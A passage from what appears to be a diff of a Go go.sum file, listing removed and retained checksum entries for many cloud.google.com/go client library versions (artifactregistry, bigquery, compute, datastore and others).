h1:39yFJqWVgm0UZqWTOdqkLhjoC7uFfgXRC8g/ZegeAh0= -cloud.google.com/go/area120 v0.7.0/go.mod h1:a3+8EUD1SX5RUcCs3MY5YasiO1z6yLiNLRiFrykbynY= -cloud.google.com/go/area120 v0.7.1/go.mod h1:j84i4E1RboTWjKtZVWXPqvK5VHQFJRF2c1Nm69pWm9k= -cloud.google.com/go/artifactregistry v1.6.0/go.mod h1:IYt0oBPSAGYj/kprzsBjZ/4LnG/zOcHyFHjWPCi6SAQ= -cloud.google.com/go/artifactregistry v1.7.0/go.mod h1:mqTOFOnGZx8EtSqK/ZWcsm/4U8B77rbcLP6ruDU2Ixk= -cloud.google.com/go/artifactregistry v1.8.0/go.mod h1:w3GQXkJX8hiKN0v+at4b0qotwijQbYUqF2GWkZzAhC0= -cloud.google.com/go/artifactregistry v1.9.0/go.mod h1:2K2RqvA2CYvAeARHRkLDhMDJ3OXy26h3XW+3/Jh2uYc= -cloud.google.com/go/artifactregistry v1.11.1/go.mod h1:lLYghw+Itq9SONbCa1YWBoWs1nOucMH0pwXN1rOBZFI= -cloud.google.com/go/artifactregistry v1.11.2/go.mod h1:nLZns771ZGAwVLzTX/7Al6R9ehma4WUEhZGWV6CeQNQ= -cloud.google.com/go/artifactregistry v1.12.0/go.mod h1:o6P3MIvtzTOnmvGagO9v/rOjjA0HmhJ+/6KAXrmYDCI= -cloud.google.com/go/artifactregistry v1.13.0/go.mod h1:uy/LNfoOIivepGhooAUpL1i30Hgee3Cu0l4VTWHUC08= -cloud.google.com/go/asset v1.5.0/go.mod h1:5mfs8UvcM5wHhqtSv8J1CtxxaQq3AdBxxQi2jGW/K4o= -cloud.google.com/go/asset v1.7.0/go.mod h1:YbENsRK4+xTiL+Ofoj5Ckf+O17kJtgp3Y3nn4uzZz5s= -cloud.google.com/go/asset v1.8.0/go.mod h1:mUNGKhiqIdbr8X7KNayoYvyc4HbbFO9URsjbytpUaW0= -cloud.google.com/go/asset v1.9.0/go.mod h1:83MOE6jEJBMqFKadM9NLRcs80Gdw76qGuHn8m3h8oHQ= -cloud.google.com/go/asset v1.10.0/go.mod h1:pLz7uokL80qKhzKr4xXGvBQXnzHn5evJAEAtZiIb0wY= -cloud.google.com/go/asset v1.11.1/go.mod h1:fSwLhbRvC9p9CXQHJ3BgFeQNM4c9x10lqlrdEUYXlJo= -cloud.google.com/go/asset v1.12.0/go.mod h1:h9/sFOa4eDIyKmH6QMpm4eUK3pDojWnUhTgJlk762Hg= -cloud.google.com/go/asset v1.13.0/go.mod h1:WQAMyYek/b7NBpYq/K4KJWcRqzoalEsxz/t/dTk4THw= -cloud.google.com/go/assuredworkloads v1.5.0/go.mod h1:n8HOZ6pff6re5KYfBXcFvSViQjDwxFkAkmUFffJRbbY= -cloud.google.com/go/assuredworkloads v1.6.0/go.mod h1:yo2YOk37Yc89Rsd5QMVECvjaMKymF9OP+QXWlKXUkXw= -cloud.google.com/go/assuredworkloads v1.7.0/go.mod h1:z/736/oNmtGAyU47reJgGN+KVoYoxeLBoj4XkKYscNI= -cloud.google.com/go/assuredworkloads v1.8.0/go.mod h1:AsX2cqyNCOvEQC8RMPnoc0yEarXQk6WEKkxYfL6kGIo= -cloud.google.com/go/assuredworkloads v1.9.0/go.mod h1:kFuI1P78bplYtT77Tb1hi0FMxM0vVpRC7VVoJC3ZoT0= -cloud.google.com/go/assuredworkloads v1.10.0/go.mod h1:kwdUQuXcedVdsIaKgKTp9t0UJkE5+PAVNhdQm4ZVq2E= -cloud.google.com/go/automl v1.5.0/go.mod h1:34EjfoFGMZ5sgJ9EoLsRtdPSNZLcfflJR39VbVNS2M0= -cloud.google.com/go/automl v1.6.0/go.mod h1:ugf8a6Fx+zP0D59WLhqgTDsQI9w07o64uf/Is3Nh5p8= -cloud.google.com/go/automl v1.7.0/go.mod h1:RL9MYCCsJEOmt0Wf3z9uzG0a7adTT1fe+aObgSpkCt8= -cloud.google.com/go/automl v1.8.0/go.mod h1:xWx7G/aPEe/NP+qzYXktoBSDfjO+vnKMGgsApGJJquM= -cloud.google.com/go/automl v1.12.0/go.mod h1:tWDcHDp86aMIuHmyvjuKeeHEGq76lD7ZqfGLN6B0NuU= -cloud.google.com/go/baremetalsolution v0.3.0/go.mod h1:XOrocE+pvK1xFfleEnShBlNAXf+j5blPPxrhjKgnIFc= -cloud.google.com/go/baremetalsolution v0.4.0/go.mod h1:BymplhAadOO/eBa7KewQ0Ppg4A4Wplbn+PsFKRLo0uI= -cloud.google.com/go/baremetalsolution v0.5.0/go.mod h1:dXGxEkmR9BMwxhzBhV0AioD0ULBmuLZI8CdwalUxuss= -cloud.google.com/go/batch v0.3.0/go.mod h1:TR18ZoAekj1GuirsUsR1ZTKN3FC/4UDnScjT8NXImFE= -cloud.google.com/go/batch v0.4.0/go.mod h1:WZkHnP43R/QCGQsZ+0JyG4i79ranE2u8xvjq/9+STPE= -cloud.google.com/go/batch v0.7.0/go.mod h1:vLZN95s6teRUqRQ4s3RLDsH8PvboqBK+rn1oevL159g= -cloud.google.com/go/beyondcorp v0.2.0/go.mod h1:TB7Bd+EEtcw9PCPQhCJtJGjk/7TC6ckmnSFS+xwTfm4= -cloud.google.com/go/beyondcorp v0.3.0/go.mod h1:E5U5lcrcXMsCuoDNyGrpyTm/hn7ne941Jz2vmksAxW8= -cloud.google.com/go/beyondcorp v0.4.0/go.mod h1:3ApA0mbhHx6YImmuubf5pyW8srKnCEPON32/5hj+RmM= -cloud.google.com/go/beyondcorp v0.5.0/go.mod h1:uFqj9X+dSfrheVp7ssLTaRHd2EHqSL4QZmH4e8WXGGU= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= -cloud.google.com/go/bigquery v1.42.0/go.mod h1:8dRTJxhtG+vwBKzE5OseQn/hiydoQN3EedCaOdYmxRA= -cloud.google.com/go/bigquery v1.43.0/go.mod h1:ZMQcXHsl+xmU1z36G2jNGZmKp9zNY5BUua5wDgmNCfw= -cloud.google.com/go/bigquery v1.44.0/go.mod h1:0Y33VqXTEsbamHJvJHdFmtqHvMIY28aK1+dFsvaChGc= -cloud.google.com/go/bigquery v1.47.0/go.mod h1:sA9XOgy0A8vQK9+MWhEQTY6Tix87M/ZurWFIxmF9I/E= -cloud.google.com/go/bigquery v1.48.0/go.mod h1:QAwSz+ipNgfL5jxiaK7weyOhzdoAy1zFm0Nf1fysJac= -cloud.google.com/go/bigquery v1.49.0/go.mod h1:Sv8hMmTFFYBlt/ftw2uN6dFdQPzBlREY9yBh7Oy7/4Q= -cloud.google.com/go/bigquery v1.50.0/go.mod h1:YrleYEh2pSEbgTBZYMJ5SuSr0ML3ypjRB1zgf7pvQLU= -cloud.google.com/go/billing v1.4.0/go.mod h1:g9IdKBEFlItS8bTtlrZdVLWSSdSyFUZKXNS02zKMOZY= -cloud.google.com/go/billing v1.5.0/go.mod h1:mztb1tBc3QekhjSgmpf/CV4LzWXLzCArwpLmP2Gm88s= -cloud.google.com/go/billing v1.6.0/go.mod h1:WoXzguj+BeHXPbKfNWkqVtDdzORazmCjraY+vrxcyvI= -cloud.google.com/go/billing v1.7.0/go.mod h1:q457N3Hbj9lYwwRbnlD7vUpyjq6u5U1RAOArInEiD5Y= -cloud.google.com/go/billing v1.12.0/go.mod h1:yKrZio/eu+okO/2McZEbch17O5CB5NpZhhXG6Z766ss= -cloud.google.com/go/billing v1.13.0/go.mod h1:7kB2W9Xf98hP9Sr12KfECgfGclsH3CQR0R08tnRlRbc= -cloud.google.com/go/binaryauthorization v1.1.0/go.mod h1:xwnoWu3Y84jbuHa0zd526MJYmtnVXn0syOjaJgy4+dM= -cloud.google.com/go/binaryauthorization v1.2.0/go.mod h1:86WKkJHtRcv5ViNABtYMhhNWRrD1Vpi//uKEy7aYEfI= -cloud.google.com/go/binaryauthorization v1.3.0/go.mod h1:lRZbKgjDIIQvzYQS1p99A7/U1JqvqeZg0wiI5tp6tg0= -cloud.google.com/go/binaryauthorization v1.4.0/go.mod h1:tsSPQrBd77VLplV70GUhBf/Zm3FsKmgSqgm4UmiDItk= -cloud.google.com/go/binaryauthorization v1.5.0/go.mod h1:OSe4OU1nN/VswXKRBmciKpo9LulY41gch5c68htf3/Q= -cloud.google.com/go/certificatemanager v1.3.0/go.mod h1:n6twGDvcUBFu9uBgt4eYvvf3sQ6My8jADcOVwHmzadg= -cloud.google.com/go/certificatemanager v1.4.0/go.mod h1:vowpercVFyqs8ABSmrdV+GiFf2H/ch3KyudYQEMM590= -cloud.google.com/go/certificatemanager v1.6.0/go.mod h1:3Hh64rCKjRAX8dXgRAyOcY5vQ/fE1sh8o+Mdd6KPgY8= -cloud.google.com/go/channel v1.8.0/go.mod h1:W5SwCXDJsq/rg3tn3oG0LOxpAo6IMxNa09ngphpSlnk= -cloud.google.com/go/channel v1.9.0/go.mod h1:jcu05W0my9Vx4mt3/rEHpfxc9eKi9XwsdDL8yBMbKUk= -cloud.google.com/go/channel v1.11.0/go.mod h1:IdtI0uWGqhEeatSB62VOoJ8FSUhJ9/+iGkJVqp74CGE= -cloud.google.com/go/channel v1.12.0/go.mod h1:VkxCGKASi4Cq7TbXxlaBezonAYpp1GCnKMY6tnMQnLU= -cloud.google.com/go/cloudbuild v1.3.0/go.mod h1:WequR4ULxlqvMsjDEEEFnOG5ZSRSgWOywXYDb1vPE6U= -cloud.google.com/go/cloudbuild v1.4.0/go.mod h1:5Qwa40LHiOXmz3386FrjrYM93rM/hdRr7b53sySrTqA= -cloud.google.com/go/cloudbuild v1.6.0/go.mod h1:UIbc/w9QCbH12xX+ezUsgblrWv+Cv4Tw83GiSMHOn9M= -cloud.google.com/go/cloudbuild v1.7.0/go.mod h1:zb5tWh2XI6lR9zQmsm1VRA+7OCuve5d8S+zJUul8KTg= -cloud.google.com/go/cloudbuild v1.9.0/go.mod h1:qK1d7s4QlO0VwfYn5YuClDGg2hfmLZEb4wQGAbIgL1s= -cloud.google.com/go/clouddms v1.3.0/go.mod h1:oK6XsCDdW4Ib3jCCBugx+gVjevp2TMXFtgxvPSee3OM= -cloud.google.com/go/clouddms v1.4.0/go.mod h1:Eh7sUGCC+aKry14O1NRljhjyrr0NFC0G2cjwX0cByRk= -cloud.google.com/go/clouddms v1.5.0/go.mod h1:QSxQnhikCLUw13iAbffF2CZxAER3xDGNHjsTAkQJcQA= -cloud.google.com/go/cloudtasks v1.5.0/go.mod h1:fD92REy1x5woxkKEkLdvavGnPJGEn8Uic9nWuLzqCpY= -cloud.google.com/go/cloudtasks v1.6.0/go.mod h1:C6Io+sxuke9/KNRkbQpihnW93SWDU3uXt92nu85HkYI= -cloud.google.com/go/cloudtasks v1.7.0/go.mod h1:ImsfdYWwlWNJbdgPIIGJWC+gemEGTBK/SunNQQNCAb4= -cloud.google.com/go/cloudtasks v1.8.0/go.mod h1:gQXUIwCSOI4yPVK7DgTVFiiP0ZW/eQkydWzwVMdHxrI= -cloud.google.com/go/cloudtasks v1.9.0/go.mod h1:w+EyLsVkLWHcOaqNEyvcKAsWp9p29dL6uL9Nst1cI7Y= -cloud.google.com/go/cloudtasks v1.10.0/go.mod h1:NDSoTLkZ3+vExFEWu2UJV1arUyzVDAiZtdWcsUyNwBs= -cloud.google.com/go/compute v0.1.0/go.mod h1:GAesmwr110a34z04OlxYkATPBEfVhkymfTBXtfbBFow= -cloud.google.com/go/compute v1.3.0/go.mod h1:cCZiE1NHEtai4wiufUhW8I8S1JKkAnhnQJWM7YD99wM= -cloud.google.com/go/compute v1.5.0/go.mod h1:9SMHyhJlzhlkJqrPAc839t2BZFTSk6Jdj6mkzQJeu0M= -cloud.google.com/go/compute v1.6.0/go.mod h1:T29tfhtVbq1wvAPo0E3+7vhgmkOYeXjhFvz/FMzPu0s= -cloud.google.com/go/compute v1.6.1/go.mod h1:g85FgpzFvNULZ+S8AYq87axRKuf2Kh7deLqV/jJ3thU= -cloud.google.com/go/compute v1.7.0/go.mod h1:435lt8av5oL9P3fv1OEzSbSUe+ybHXGMPQHHZWZxy9U= -cloud.google.com/go/compute v1.10.0/go.mod h1:ER5CLbMxl90o2jtNbGSbtfOpQKR0t15FOtRsugnLrlU= -cloud.google.com/go/compute v1.12.0/go.mod h1:e8yNOBcBONZU1vJKCvCoDw/4JQsA0dpM4x/6PIIOocU= -cloud.google.com/go/compute v1.12.1/go.mod h1:e8yNOBcBONZU1vJKCvCoDw/4JQsA0dpM4x/6PIIOocU= -cloud.google.com/go/compute v1.13.0/go.mod h1:5aPTS0cUNMIc1CE546K+Th6weJUNQErARyZtRXDJ8GE= -cloud.google.com/go/compute v1.14.0/go.mod h1:YfLtxrj9sU4Yxv+sXzZkyPjEyPBZfXHUvjxega5vAdo= -cloud.google.com/go/compute v1.15.1/go.mod h1:bjjoF/NtFUrkD/urWfdHaKuOPDR5nWIs63rR+SXhcpA= -cloud.google.com/go/compute v1.18.0/go.mod h1:1X7yHxec2Ga+Ss6jPyjxRxpu2uu7PLgsOVXvgU0yacs= -cloud.google.com/go/compute v1.19.0/go.mod h1:rikpw2y+UMidAe9tISo04EHNOIf42RLYF/q8Bs93scU= -cloud.google.com/go/compute/metadata v0.1.0/go.mod h1:Z1VN+bulIf6bt4P/C37K4DyZYZEXYonfTBHHFPO/4UU= -cloud.google.com/go/compute/metadata v0.2.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k= -cloud.google.com/go/compute/metadata v0.2.1/go.mod h1:jgHgmJd2RKBGzXqF5LR2EZMGxBkeanZ9wwa75XHJgOM= -cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA= -cloud.google.com/go/contactcenterinsights v1.3.0/go.mod h1:Eu2oemoePuEFc/xKFPjbTuPSj0fYJcPls9TFlPNnHHY= -cloud.google.com/go/contactcenterinsights v1.4.0/go.mod h1:L2YzkGbPsv+vMQMCADxJoT9YiTTnSEd6fEvCeHTYVck= -cloud.google.com/go/contactcenterinsights v1.6.0/go.mod h1:IIDlT6CLcDoyv79kDv8iWxMSTZhLxSCofVV5W6YFM/w= -cloud.google.com/go/container v1.6.0/go.mod h1:Xazp7GjJSeUYo688S+6J5V+n/t+G5sKBTFkKNudGRxg= -cloud.google.com/go/container v1.7.0/go.mod h1:Dp5AHtmothHGX3DwwIHPgq45Y8KmNsgN3amoYfxVkLo= -cloud.google.com/go/container v1.13.1/go.mod h1:6wgbMPeQRw9rSnKBCAJXnds3Pzj03C4JHamr8asWKy4= -cloud.google.com/go/container v1.14.0/go.mod h1:3AoJMPhHfLDxLvrlVWaK57IXzaPnLaZq63WX59aQBfM= -cloud.google.com/go/container v1.15.0/go.mod h1:ft+9S0WGjAyjDggg5S06DXj+fHJICWg8L7isCQe9pQA= -cloud.google.com/go/containeranalysis v0.5.1/go.mod h1:1D92jd8gRR/c0fGMlymRgxWD3Qw9C1ff6/T7mLgVL8I= -cloud.google.com/go/containeranalysis v0.6.0/go.mod h1:HEJoiEIu+lEXM+k7+qLCci0h33lX3ZqoYFdmPcoO7s4= -cloud.google.com/go/containeranalysis v0.7.0/go.mod h1:9aUL+/vZ55P2CXfuZjS4UjQ9AgXoSw8Ts6lemfmxBxI= -cloud.google.com/go/containeranalysis v0.9.0/go.mod h1:orbOANbwk5Ejoom+s+DUCTTJ7IBdBQJDcSylAx/on9s= -cloud.google.com/go/datacatalog v1.3.0/go.mod h1:g9svFY6tuR+j+hrTw3J2dNcmI0dzmSiyOzm8kpLq0a0= -cloud.google.com/go/datacatalog v1.5.0/go.mod h1:M7GPLNQeLfWqeIm3iuiruhPzkt65+Bx8dAKvScX8jvs= -cloud.google.com/go/datacatalog v1.6.0/go.mod h1:+aEyF8JKg+uXcIdAmmaMUmZ3q1b/lKLtXCmXdnc0lbc= -cloud.google.com/go/datacatalog v1.7.0/go.mod h1:9mEl4AuDYWw81UGc41HonIHH7/sn52H0/tc8f8ZbZIE= -cloud.google.com/go/datacatalog v1.8.0/go.mod h1:KYuoVOv9BM8EYz/4eMFxrr4DUKhGIOXxZoKYF5wdISM= -cloud.google.com/go/datacatalog v1.8.1/go.mod h1:RJ58z4rMp3gvETA465Vg+ag8BGgBdnRPEMMSTr5Uv+M= -cloud.google.com/go/datacatalog v1.12.0/go.mod h1:CWae8rFkfp6LzLumKOnmVh4+Zle4A3NXLzVJ1d1mRm0= -cloud.google.com/go/datacatalog v1.13.0/go.mod h1:E4Rj9a5ZtAxcQJlEBTLgMTphfP11/lNaAshpoBgemX8= -cloud.google.com/go/dataflow v0.6.0/go.mod h1:9QwV89cGoxjjSR9/r7eFDqqjtvbKxAK2BaYU6PVk9UM= -cloud.google.com/go/dataflow v0.7.0/go.mod h1:PX526vb4ijFMesO1o202EaUmouZKBpjHsTlCtB4parQ= -cloud.google.com/go/dataflow v0.8.0/go.mod h1:Rcf5YgTKPtQyYz8bLYhFoIV/vP39eL7fWNcSOyFfLJE= -cloud.google.com/go/dataform v0.3.0/go.mod h1:cj8uNliRlHpa6L3yVhDOBrUXH+BPAO1+KFMQQNSThKo= -cloud.google.com/go/dataform v0.4.0/go.mod h1:fwV6Y4Ty2yIFL89huYlEkwUPtS7YZinZbzzj5S9FzCE= -cloud.google.com/go/dataform v0.5.0/go.mod h1:GFUYRe8IBa2hcomWplodVmUx/iTL0FrsauObOM3Ipr0= -cloud.google.com/go/dataform v0.6.0/go.mod h1:QPflImQy33e29VuapFdf19oPbE4aYTJxr31OAPV+ulA= -cloud.google.com/go/dataform v0.7.0/go.mod h1:7NulqnVozfHvWUBpMDfKMUESr+85aJsC/2O0o3jWPDE= -cloud.google.com/go/datafusion v1.4.0/go.mod h1:1Zb6VN+W6ALo85cXnM1IKiPw+yQMKMhB9TsTSRDo/38= -cloud.google.com/go/datafusion v1.5.0/go.mod h1:Kz+l1FGHB0J+4XF2fud96WMmRiq/wj8N9u007vyXZ2w= -cloud.google.com/go/datafusion v1.6.0/go.mod h1:WBsMF8F1RhSXvVM8rCV3AeyWVxcC2xY6vith3iw3S+8= -cloud.google.com/go/datalabeling v0.5.0/go.mod h1:TGcJ0G2NzcsXSE/97yWjIZO0bXj0KbVlINXMG9ud42I= -cloud.google.com/go/datalabeling v0.6.0/go.mod h1:WqdISuk/+WIGeMkpw/1q7bK/tFEZxsrFJOJdY2bXvTQ= -cloud.google.com/go/datalabeling v0.7.0/go.mod h1:WPQb1y08RJbmpM3ww0CSUAGweL0SxByuW2E+FU+wXcM= -cloud.google.com/go/dataplex v1.3.0/go.mod h1:hQuRtDg+fCiFgC8j0zV222HvzFQdRd+SVX8gdmFcZzA= -cloud.google.com/go/dataplex v1.4.0/go.mod h1:X51GfLXEMVJ6UN47ESVqvlsRplbLhcsAt0kZCCKsU0A= -cloud.google.com/go/dataplex v1.5.2/go.mod h1:cVMgQHsmfRoI5KFYq4JtIBEUbYwc3c7tXmIDhRmNNVQ= -cloud.google.com/go/dataplex v1.6.0/go.mod h1:bMsomC/aEJOSpHXdFKFGQ1b0TDPIeL28nJObeO1ppRs= -cloud.google.com/go/dataproc v1.7.0/go.mod h1:CKAlMjII9H90RXaMpSxQ8EU6dQx6iAYNPcYPOkSbi8s= -cloud.google.com/go/dataproc v1.8.0/go.mod h1:5OW+zNAH0pMpw14JVrPONsxMQYMBqJuzORhIBfBn9uI= -cloud.google.com/go/dataproc v1.12.0/go.mod h1:zrF3aX0uV3ikkMz6z4uBbIKyhRITnxvr4i3IjKsKrw4= -cloud.google.com/go/dataqna v0.5.0/go.mod h1:90Hyk596ft3zUQ8NkFfvICSIfHFh1Bc7C4cK3vbhkeo= -cloud.google.com/go/dataqna v0.6.0/go.mod h1:1lqNpM7rqNLVgWBJyk5NF6Uen2PHym0jtVJonplVsDA= -cloud.google.com/go/dataqna v0.7.0/go.mod h1:Lx9OcIIeqCrw1a6KdO3/5KMP1wAmTc0slZWwP12Qq3c= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= -cloud.google.com/go/datastore v1.10.0/go.mod h1:PC5UzAmDEkAmkfaknstTYbNpgE49HAgW2J1gcgUfmdM= -cloud.google.com/go/datastore v1.11.0/go.mod h1:TvGxBIHCS50u8jzG+AW/ppf87v1of8nwzFNgEZU1D3c= -cloud.google.com/go/datastream v1.2.0/go.mod h1:i/uTP8/fZwgATHS/XFu0TcNUhuA0twZxxQ3EyCUQMwo= -cloud.google.com/go/datastream v1.3.0/go.mod h1:cqlOX8xlyYF/uxhiKn6Hbv6WjwPPuI9W2M9SAXwaLLQ= -cloud.google.com/go/datastream v1.4.0/go.mod h1:h9dpzScPhDTs5noEMQVWP8Wx8AFBRyS0s8KWPx/9r0g= -cloud.google.com/go/datastream v1.5.0/go.mod h1:6TZMMNPwjUqZHBKPQ1wwXpb0d5VDVPl2/XoS5yi88q4= -cloud.google.com/go/datastream v1.6.0/go.mod h1:6LQSuswqLa7S4rPAOZFVjHIG3wJIjZcZrw8JDEDJuIs= -cloud.google.com/go/datastream v1.7.0/go.mod h1:uxVRMm2elUSPuh65IbZpzJNMbuzkcvu5CjMqVIUHrww= -cloud.google.com/go/deploy v1.4.0/go.mod h1:5Xghikd4VrmMLNaF6FiRFDlHb59VM59YoDQnOUdsH/c= -cloud.google.com/go/deploy v1.5.0/go.mod h1:ffgdD0B89tToyW/U/D2eL0jN2+IEV/3EMuXHA0l4r+s= -cloud.google.com/go/deploy v1.6.0/go.mod h1:f9PTHehG/DjCom3QH0cntOVRm93uGBDt2vKzAPwpXQI= -cloud.google.com/go/deploy v1.8.0/go.mod h1:z3myEJnA/2wnB4sgjqdMfgxCA0EqC3RBTNcVPs93mtQ= -cloud.google.com/go/dialogflow v1.15.0/go.mod h1:HbHDWs33WOGJgn6rfzBW1Kv807BE3O1+xGbn59zZWI4= -cloud.google.com/go/dialogflow v1.16.1/go.mod h1:po6LlzGfK+smoSmTBnbkIZY2w8ffjz/RcGSS+sh1el0= -cloud.google.com/go/dialogflow v1.17.0/go.mod h1:YNP09C/kXA1aZdBgC/VtXX74G/TKn7XVCcVumTflA+8= -cloud.google.com/go/dialogflow v1.18.0/go.mod h1:trO7Zu5YdyEuR+BhSNOqJezyFQ3aUzz0njv7sMx/iek= -cloud.google.com/go/dialogflow v1.19.0/go.mod h1:JVmlG1TwykZDtxtTXujec4tQ+D8SBFMoosgy+6Gn0s0= -cloud.google.com/go/dialogflow v1.29.0/go.mod h1:b+2bzMe+k1s9V+F2jbJwpHPzrnIyHihAdRFMtn2WXuM= -cloud.google.com/go/dialogflow v1.31.0/go.mod h1:cuoUccuL1Z+HADhyIA7dci3N5zUssgpBJmCzI6fNRB4= -cloud.google.com/go/dialogflow v1.32.0/go.mod h1:jG9TRJl8CKrDhMEcvfcfFkkpp8ZhgPz3sBGmAUYJ2qE= -cloud.google.com/go/dlp v1.6.0/go.mod h1:9eyB2xIhpU0sVwUixfBubDoRwP+GjeUoxxeueZmqvmM= -cloud.google.com/go/dlp v1.7.0/go.mod h1:68ak9vCiMBjbasxeVD17hVPxDEck+ExiHavX8kiHG+Q= -cloud.google.com/go/dlp v1.9.0/go.mod h1:qdgmqgTyReTz5/YNSSuueR8pl7hO0o9bQ39ZhtgkWp4= -cloud.google.com/go/documentai v1.7.0/go.mod h1:lJvftZB5NRiFSX4moiye1SMxHx0Bc3x1+p9e/RfXYiU= -cloud.google.com/go/documentai v1.8.0/go.mod h1:xGHNEB7CtsnySCNrCFdCyyMz44RhFEEX2Q7UD0c5IhU= -cloud.google.com/go/documentai v1.9.0/go.mod h1:FS5485S8R00U10GhgBC0aNGrJxBP8ZVpEeJ7PQDZd6k= -cloud.google.com/go/documentai v1.10.0/go.mod h1:vod47hKQIPeCfN2QS/jULIvQTugbmdc0ZvxxfQY1bg4= -cloud.google.com/go/documentai v1.16.0/go.mod h1:o0o0DLTEZ+YnJZ+J4wNfTxmDVyrkzFvttBXXtYRMHkM= -cloud.google.com/go/documentai v1.18.0/go.mod h1:F6CK6iUH8J81FehpskRmhLq/3VlwQvb7TvwOceQ2tbs= -cloud.google.com/go/domains v0.6.0/go.mod h1:T9Rz3GasrpYk6mEGHh4rymIhjlnIuB4ofT1wTxDeT4Y= -cloud.google.com/go/domains v0.7.0/go.mod h1:PtZeqS1xjnXuRPKE/88Iru/LdfoRyEHYA9nFQf4UKpg= -cloud.google.com/go/domains v0.8.0/go.mod h1:M9i3MMDzGFXsydri9/vW+EWz9sWb4I6WyHqdlAk0idE= -cloud.google.com/go/edgecontainer v0.1.0/go.mod h1:WgkZ9tp10bFxqO8BLPqv2LlfmQF1X8lZqwW4r1BTajk= -cloud.google.com/go/edgecontainer v0.2.0/go.mod h1:RTmLijy+lGpQ7BXuTDa4C4ssxyXT34NIuHIgKuP4s5w= -cloud.google.com/go/edgecontainer v0.3.0/go.mod h1:FLDpP4nykgwwIfcLt6zInhprzw0lEi2P1fjO6Ie0qbc= -cloud.google.com/go/edgecontainer v1.0.0/go.mod h1:cttArqZpBB2q58W/upSG++ooo6EsblxDIolxa3jSjbY= -cloud.google.com/go/errorreporting v0.3.0/go.mod h1:xsP2yaAp+OAW4OIm60An2bbLpqIhKXdWR/tawvl7QzU= -cloud.google.com/go/essentialcontacts v1.3.0/go.mod h1:r+OnHa5jfj90qIfZDO/VztSFqbQan7HV75p8sA+mdGI= -cloud.google.com/go/essentialcontacts v1.4.0/go.mod h1:8tRldvHYsmnBCHdFpvU+GL75oWiBKl80BiqlFh9tp+8= -cloud.google.com/go/essentialcontacts v1.5.0/go.mod h1:ay29Z4zODTuwliK7SnX8E86aUF2CTzdNtvv42niCX0M= -cloud.google.com/go/eventarc v1.7.0/go.mod h1:6ctpF3zTnaQCxUjHUdcfgcA1A2T309+omHZth7gDfmc= -cloud.google.com/go/eventarc v1.8.0/go.mod h1:imbzxkyAU4ubfsaKYdQg04WS1NvncblHEup4kvF+4gw= -cloud.google.com/go/eventarc v1.10.0/go.mod h1:u3R35tmZ9HvswGRBnF48IlYgYeBcPUCjkr4BTdem2Kw= -cloud.google.com/go/eventarc v1.11.0/go.mod h1:PyUjsUKPWoRBCHeOxZd/lbOOjahV41icXyUY5kSTvVY= -cloud.google.com/go/filestore v1.3.0/go.mod h1:+qbvHGvXU1HaKX2nD0WEPo92TP/8AQuCVEBXNY9z0+w= -cloud.google.com/go/filestore v1.4.0/go.mod h1:PaG5oDfo9r224f8OYXURtAsY+Fbyq/bLYoINEK8XQAI= -cloud.google.com/go/filestore v1.5.0/go.mod h1:FqBXDWBp4YLHqRnVGveOkHDf8svj9r5+mUDLupOWEDs= -cloud.google.com/go/filestore v1.6.0/go.mod h1:di5unNuss/qfZTw2U9nhFqo8/ZDSc466dre85Kydllg= -cloud.google.com/go/firestore v1.9.0/go.mod h1:HMkjKHNTtRyZNiMzu7YAsLr9K3X2udY2AMwDaMEQiiE= -cloud.google.com/go/functions v1.6.0/go.mod h1:3H1UA3qiIPRWD7PeZKLvHZ9SaQhR26XIJcC0A5GbvAk= -cloud.google.com/go/functions v1.7.0/go.mod h1:+d+QBcWM+RsrgZfV9xo6KfA1GlzJfxcfZcRPEhDDfzg= -cloud.google.com/go/functions v1.8.0/go.mod h1:RTZ4/HsQjIqIYP9a9YPbU+QFoQsAlYgrwOXJWHn1POY= -cloud.google.com/go/functions v1.9.0/go.mod h1:Y+Dz8yGguzO3PpIjhLTbnqV1CWmgQ5UwtlpzoyquQ08= -cloud.google.com/go/functions v1.10.0/go.mod h1:0D3hEOe3DbEvCXtYOZHQZmD+SzYsi1YbI7dGvHfldXw= -cloud.google.com/go/functions v1.12.0/go.mod h1:AXWGrF3e2C/5ehvwYo/GH6O5s09tOPksiKhz+hH8WkA= -cloud.google.com/go/functions v1.13.0/go.mod h1:EU4O007sQm6Ef/PwRsI8N2umygGqPBS/IZQKBQBcJ3c= -cloud.google.com/go/gaming v1.5.0/go.mod h1:ol7rGcxP/qHTRQE/RO4bxkXq+Fix0j6D4LFPzYTIrDM= -cloud.google.com/go/gaming v1.6.0/go.mod h1:YMU1GEvA39Qt3zWGyAVA9bpYz/yAhTvaQ1t2sK4KPUA= -cloud.google.com/go/gaming v1.7.0/go.mod h1:LrB8U7MHdGgFG851iHAfqUdLcKBdQ55hzXy9xBJz0+w= -cloud.google.com/go/gaming v1.8.0/go.mod h1:xAqjS8b7jAVW0KFYeRUxngo9My3f33kFmua++Pi+ggM= -cloud.google.com/go/gaming v1.9.0/go.mod h1:Fc7kEmCObylSWLO334NcO+O9QMDyz+TKC4v1D7X+Bc0= -cloud.google.com/go/gkebackup v0.2.0/go.mod h1:XKvv/4LfG829/B8B7xRkk8zRrOEbKtEam6yNfuQNH60= -cloud.google.com/go/gkebackup v0.3.0/go.mod h1:n/E671i1aOQvUxT541aTkCwExO/bTer2HDlj4TsBRAo= 